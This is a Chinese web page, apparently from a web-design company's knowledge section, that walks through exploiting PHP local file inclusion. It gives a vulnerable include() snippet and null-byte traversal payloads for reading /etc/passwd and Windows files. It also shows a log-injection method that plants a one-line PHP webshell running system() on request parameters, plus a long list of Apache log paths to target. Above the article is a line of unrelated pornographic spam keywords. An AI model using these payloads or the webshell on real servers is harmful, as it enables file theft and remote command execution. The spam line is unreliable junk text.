欧美激情网,国产欧美亚洲高清,欧美屁股xxxxx,欧美群妇大交群,欧美人与物ⅴideos另类,区二区三区在线 | 欧洲

知識學堂
  • ·聯(lián)系電話:+86.023-75585550
  • ·聯(lián)系傳真:+86.023-75585550
  • ·24小時手機:13896886023
  • ·QQ 咨 詢:361652718 513960520
當前位置 > 首頁 > 知識學堂 > 網站建設知識
PHP本地文件包含(LFI)漏洞利用
更新時間:2012-02-19 | 發(fā)布人:本站 | 點擊率:308
這次學習的主要參考資料是:http://downloads.ackack.net/LocalFileInclusion.pdf
 
實驗代碼:
 
如果是在linux上,直接提交:test.php?for=/etc/passwd%00即可顯示該文件。
 
<?php
  include($_GET['for'].‘.php’);//用于測試本地包含漏洞
 ?>
 
 
 
如果是在win上,提交:test.php?for=D:\tools\readme.txt%00,就可以了,跨目錄跨盤符。這里要注意,對于過多的”..\”,360會自動攔截,比較好的辦法是使用ie或者ff。
 
但是光是瀏覽文件是不夠的,我們還需要webshell。可以使用log injection的方法。這也是我作這個記錄的主要目的,這才是重點所在。
 
這里,思想的核心是要將php代碼注入到log中,比如,我們可以將:
 
<?php $s=$_GET;@chdir($s['x']);echo @system($s['y'])?>
 
注入進去(瀏覽器的自動更改實在太煩人)。注:friddle2不會對針對本機的訪問過濾,我就輸入本機的地址:192.168.0.1。
 
然后訪問:test.php?for=/var/log/apache/logs/error_log%00&x=/&y=uname,這是針對linux。如果平臺切換到win,可以訪問:test.php?for=..\apache\logs\error.log%00&x=.y=dir,會顯示當前目錄文件。
 
當然,我們也可以將日志記錄到access.log里,但那樣會更復雜一些,因為需要包含的文件會更大。
 
參考文獻還提到了:使用linux的/proc/self/fd進行注入的方法,我對linux不熟悉,所以也沒有細看,以后需要的時候再了解吧。
 
額外的發(fā)現(xiàn):
 
360瀏覽器有個奇怪的特性,當訪問http://www.baidu.com/search/error.html%00../../../../../../tools后,會訪問一下目錄:D:\Program files\360se\tools 看看有沒有這個文件夾,這里有問題吧?TDH
 
D:\Program files\360se\360se3\http:\apache\logs\error.log%00&y=dir和http://192.168.0.1:88/test.php?for=..\..\..\apache\logs\error.log%00&y=dir,這兩者之間的關系是怎么得來的?
 
附錄:
 
1、可能的log路徑、
 
/etc/httpd/logs/access.log
 /etc/httpd/logs/access_log
 /etc/httpd/logs/error.log
 /etc/httpd/logs/error_log
 /opt/lampp/logs/access_log
 /opt/lampp/logs/error_log
 /usr/local/apache/log
 /usr/local/apache/logs
 /usr/local/apache/logs/access.log
 /usr/local/apache/logs/access_log
 /usr/local/apache/logs/error.log
 /usr/local/apache/logs/error_log
 /usr/local/etc/httpd/logs/access_log
 /usr/local/etc/httpd/logs/error_log
 /usr/local/www/logs/thttpd_log
 /var/apache/logs/access_log
 /var/apache/logs/error_log
 /var/log/apache/access.log
 /var/log/apache/error.log
 /var/log/apache-ssl/access.log
 /var/log/apache-ssl/error.log
 /var/log/httpd/access_log
 /var/log/httpd/error_log
 /var/log/httpsd/ssl.access_log
 /var/log/httpsd/ssl_log
 /var/log/thttpd_log
 /var/www/log/access_log
 /var/www/log/error_log
 /var/www/logs/access.log
 /var/www/logs/access_log
 /var/www/logs/error.log
 /var/www/logs/error_log
 C:\apache\logs\access.log
 C:\apache\logs\error.log
 C:\Program Files\Apache Group\Apache\logs\access.log
 C:\Program Files\Apache Group\Apache\logs\error.log
 C:\program files\wamp\apache2\logs
 C:\wamp\apache2\logs
 C:\wamp\logs
 C:\xampp\apache\logs\access.log
 C:\xampp\apache\logs\error.log